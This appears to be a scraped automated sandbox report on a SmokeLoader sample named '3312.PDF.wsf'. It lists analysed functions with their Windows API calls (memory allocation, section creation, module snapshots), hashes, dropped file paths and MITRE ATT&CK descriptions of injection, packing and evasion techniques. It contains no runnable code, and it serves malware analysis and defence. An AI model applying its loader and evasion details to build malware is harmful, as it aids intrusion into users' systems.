Opcode ID: be8e4cb5e493dd895ba0f666486257db29135dc3ef83a78b0b3b9a47898ca96e
Instruction ID: 67905ead67b615cb9fd2ac39997d468ff33d28dd355ca5d175fe45067cf906e9
Opcode Fuzzy Hash: be8e4cb5e493dd895ba0f666486257db29135dc3ef83a78b0b3b9a47898ca96e
Instruction Fuzzy Hash: 8B414732618E0C4FD778EE6CA88966377D5E798351B1643AAD809D3389EE30D85183C5

Function 007B003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 007B024D

Strings

cess, xrefs: 007B018D
kernel32.dll, xrefs: 007B008F, 007B0095

Memory Dump Source

Source File: 0000000A.00000002.1937393700.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7b0000_wbfgshs.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 5b83b1d6e075be0e62862089d7e5f4325240138de161d0a465d2f8f56dc3ee68
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: E2527874A00229DFDB64CF68C984BADBBB1BF09304F1480D9E90DAB251DB34AE94DF54

Function 00418770 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00513D70), ref: 0041884F
GetProcAddress.KERNEL32(00000000,0041E298), ref: 0041888C
VirtualProtect.KERNELBASE(00513BB4,00513D6C,00000040,?), ref: 004188AB

Strings

, xrefs: 004187B5

Memory Dump Source

Source File: 0000000A.00000002.1937112624.000000000040B000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_40b000_wbfgshs.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-3916222277
Opcode ID: ff9a43801e185d10054e4e34767694ffcb7e86b2b941098a4c4c71e4807009e3
Instruction ID: 2b977b853b8716191c274d39b2deee1532fc6552ce3022b0d9a41b083186e0cb
Opcode Fuzzy Hash: ff9a43801e185d10054e4e34767694ffcb7e86b2b941098a4c4c71e4807009e3
Instruction Fuzzy Hash: D8316F18508780CAE301DB79FC257823F6AAB75744F04D0ACD54C8B3B1D7BA5618E36E

Function 007F061F Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 007F0647
Module32First.KERNEL32(00000000,00000224), ref: 007F0667

Memory Dump Source

Source File: 0000000A.00000002.1937502143.00000000007ED000.00000040.00000020.00020000.00000000.sdmp, Offset: 007ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ed000_wbfgshs.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 74bc7fe53f32c00f09da994bba60d0d3bc27f0ffbb1a9dc6763eb8e08a7f501a
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 59F096362007186BDB203BF5A88DB7E76E8AF89724F100528E746D27C2DB74EC454AA1

Function 007B0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,007B0223,?,?), ref: 007B0E19
SetErrorMode.KERNELBASE(00000000,?,?,007B0223,?,?), ref: 007B0E1E

Memory Dump Source

Source File: 0000000A.00000002.1937393700.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7b0000_wbfgshs.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: ffcf5e6dbdd463b1daf0f9ee02433bdb2d1385e856eecc0e7ab2c7339d913e6a
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 04D0123114512877D7003A94DC09BCE7B1CDF05B62F008411FB0DD9080C774994046E5

Function 0040190E Relevance: 1.3, APIs: 1, Instructions: 66
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 0000000A.00000002.1937090431.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_wbfgshs.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 2faec9f74094ce0f08c74674007c6dc18df4c3c5133ab61c0808bb95c55d4a7d
Instruction ID: c3efed824753038ef125f202698f45fd900918c8f6410fb3a7b527937a7c5fc5
Opcode Fuzzy Hash: 2faec9f74094ce0f08c74674007c6dc18df4c3c5133ab61c0808bb95c55d4a7d
Instruction Fuzzy Hash: D811BFB220C204EBEB00AA908C52EAA3754AF05710F248137BA42791F1C57D9A13F75B

Function 007F02DE Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 007F032F

Memory Dump Source

Source File: 0000000A.00000002.1937502143.00000000007ED000.00000040.00000020.00020000.00000000.sdmp, Offset: 007ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ed000_wbfgshs.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 10c3a56653f41556fb113e93a2916372f3dcf97cab535dda7fbde97d4941f418
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: C4113C79A00208EFDB01DF98C985E99BBF5AF08351F058094FA489B362D375EA90DF80

Function 00401902 Relevance: 1.3, APIs: 1, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 0000000A.00000002.1937090431.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_wbfgshs.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 038fd76a8208d0ddfff32e2f40036fbca87feb8e69a48f33ff6f35dc682cef07
Instruction ID: 207861a3759c1b147de2553678edefd9187cc257709d93c52e233f88d5e7a3be
Opcode Fuzzy Hash: 038fd76a8208d0ddfff32e2f40036fbca87feb8e69a48f33ff6f35dc682cef07
Instruction Fuzzy Hash: B70169F1208209FBEB009A908D61EBA3668AB05760F700133BA13781F5D57C9A53E76B

Function 00401922 Relevance: 1.3, APIs: 1, Instructions: 36sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 0000000A.00000002.1937090431.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_wbfgshs.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: c88f444a594768d2d4fab485523800559cc166debe3a6fe30cf89bfb996ff5f6
Instruction ID: 578df434b3d236032839297bc76fd9486bb072801922ad90ba2380d7086ecf03
Opcode Fuzzy Hash: c88f444a594768d2d4fab485523800559cc166debe3a6fe30cf89bfb996ff5f6
Instruction Fuzzy Hash: 95F05EB1208209FBEF009F908D61EAA3729AF05710F644137BA52781F5D63CDA53EB1B

Function 0040192B Relevance: 1.3, APIs: 1, Instructions: 36sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 0000000A.00000002.1937090431.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_wbfgshs.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 45864dc147576a9e119c499a9794f12b744a0bfa5c226a532e69094f16d3b09b
Instruction ID: b5d34a972f1ec939c421f577379ccf4d396b21f1793fd223155277739043cea6
Opcode Fuzzy Hash: 45864dc147576a9e119c499a9794f12b744a0bfa5c226a532e69094f16d3b09b
Instruction Fuzzy Hash: 5AF05EB1218209FBEB009F908D61EBA3629AF05310F644177BA12781F5C63DDA23E75B

Function 0040193C Relevance: 1.3, APIs: 1, Instructions: 31sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 0000000A.00000002.1937090431.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_wbfgshs.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 14db16c3e861f19ad5dfd30c38be67768c01ca1c8fcdc6992631d9b2414dadb5
Instruction ID: c277f467d3f9426b8f9a73765fdcab00a649fd51b95b24d53f0d4f33e3e8ae71
Opcode Fuzzy Hash: 14db16c3e861f19ad5dfd30c38be67768c01ca1c8fcdc6992631d9b2414dadb5
Instruction Fuzzy Hash: F7F037B1108209FBDF009F94CD51EAA3729AF09310F644577BA12781F5C63DDA12E72B

Function 00401932 Relevance: 1.3, APIs: 1, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 0000000A.00000002.1937090431.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_wbfgshs.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: d565b972daf1ea01d692af33d09a01f0ed4f5aa4668cdc6292c3b22aaefac0ec
Instruction ID: 30c85490bd3e36b3d7497cee73256dee3cb4488b2b17691bada95d8d1bd3f612
Opcode Fuzzy Hash: d565b972daf1ea01d692af33d09a01f0ed4f5aa4668cdc6292c3b22aaefac0ec
Instruction Fuzzy Hash: 33F037B1204205FBDF009F94CD91EAE3629AF05310F644173BA12791F5D67DDA12E75B

Function 00418740 Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,00513D6C,00418DAF), ref: 00418748

Memory Dump Source

Source File: 0000000A.00000002.1937112624.000000000040B000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_40b000_wbfgshs.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 8edb2acf596b02bf36b0311ec2b3e3f34bd0854dc09103549fc4bb4fc422a900
Instruction ID: 68696ac1b9cb92420161d977e59fd9b705cf74f057d8962c0b4e3d7dbc73b596
Opcode Fuzzy Hash: 8edb2acf596b02bf36b0311ec2b3e3f34bd0854dc09103549fc4bb4fc422a900
Instruction Fuzzy Hash: FDB012F0A492009FD700CF54FC64BD03B74F358302F00C061F500C2164EB304908EB10

Non-executed Functions

Function 004189D0 Relevance: 6.0, APIs: 4, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

QueryDosDeviceW.KERNEL32(00000000,?,00000000), ref: 00418A04
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00418A1F
HeapCreate.KERNEL32(00000000,00000000,00000000), ref: 00418A42
GetNumaProcessorNode.KERNEL32(?,00000000), ref: 00418A51

Memory Dump Source

Source File: 0000000A.00000002.1937112624.000000000040B000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_40b000_wbfgshs.jbxd

Similarity

API ID: CreateDeviceEnvironmentFreeHeapNodeNumaProcessorQueryStrings
String ID:
API String ID: 2776817195-0
Opcode ID: 87efacac19a89b0c53b9dbb33d5e1312a162f1387c04757d6307752c4e174176
Instruction ID: bd9cb2cda3ccdbb603686fa1a54157cb247b1e4b5f6e470ed3bcac1d3601a900
Opcode Fuzzy Hash: 87efacac19a89b0c53b9dbb33d5e1312a162f1387c04757d6307752c4e174176
Instruction Fuzzy Hash: ED018474A402049BD760EB64EC55BE937B8FB1C755F00807BFA05A72D0DE746E88CB9A

Function 00418950 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

BuildCommDCBA.KERNEL32(00000000,?), ref: 00418964
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00418976

Strings

-, xrefs: 004189AF

Memory Dump Source

Source File: 0000000A.00000002.1937112624.000000000040B000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_40b000_wbfgshs.jbxd

Similarity

API ID: BuildCommEnvironmentFreeStrings
String ID: -
API String ID: 2991353152-2547889144
Opcode ID: a724ab6c00ba43ed920c74289dad73afc07e5f40d831fe2fe4a3629ab1fe5b50
Instruction ID: b4672369b185086f5e4321c569724b1a241b362aa46ae39454cd2dcc54bfc028
Opcode Fuzzy Hash: a724ab6c00ba43ed920c74289dad73afc07e5f40d831fe2fe4a3629ab1fe5b50
Instruction Fuzzy Hash: 2DF0FCB18242449ADB119BA5DD807FE7B68E709330F51422EED0466240CB794EC59797

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3312.PDF.wsf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0gosykqu.mc1.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mdqwmafj.ska.psm1

C:\Users\user\AppData\Local\Temp\oBuf.exe

C:\Users\user\AppData\Roaming\wbfgshs

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
3312.PDF.wsf

Function 00418A70 Relevance: 54.6, APIs: 29, Strings: 2, Instructions: 321
filewindowlibraryCOMMON

Function 004014DB Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 243
nativeCOMMON

Function 00401529 Relevance: 10.7, APIs: 7, Instructions: 208
nativeCOMMON

Function 00401534 Relevance: 10.7, APIs: 7, Instructions: 177
nativeCOMMON

Function 00401541 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Function 00401545 Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Function 00401553 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Function 00402FFA Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Function 009106F7 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Function 006A003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Function 00418770 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
librarymemoryloaderCOMMON

Function 006A0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Function 0040190E Relevance: 1.3, APIs: 1, Instructions: 66
sleepCOMMON

Function 009103B6 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
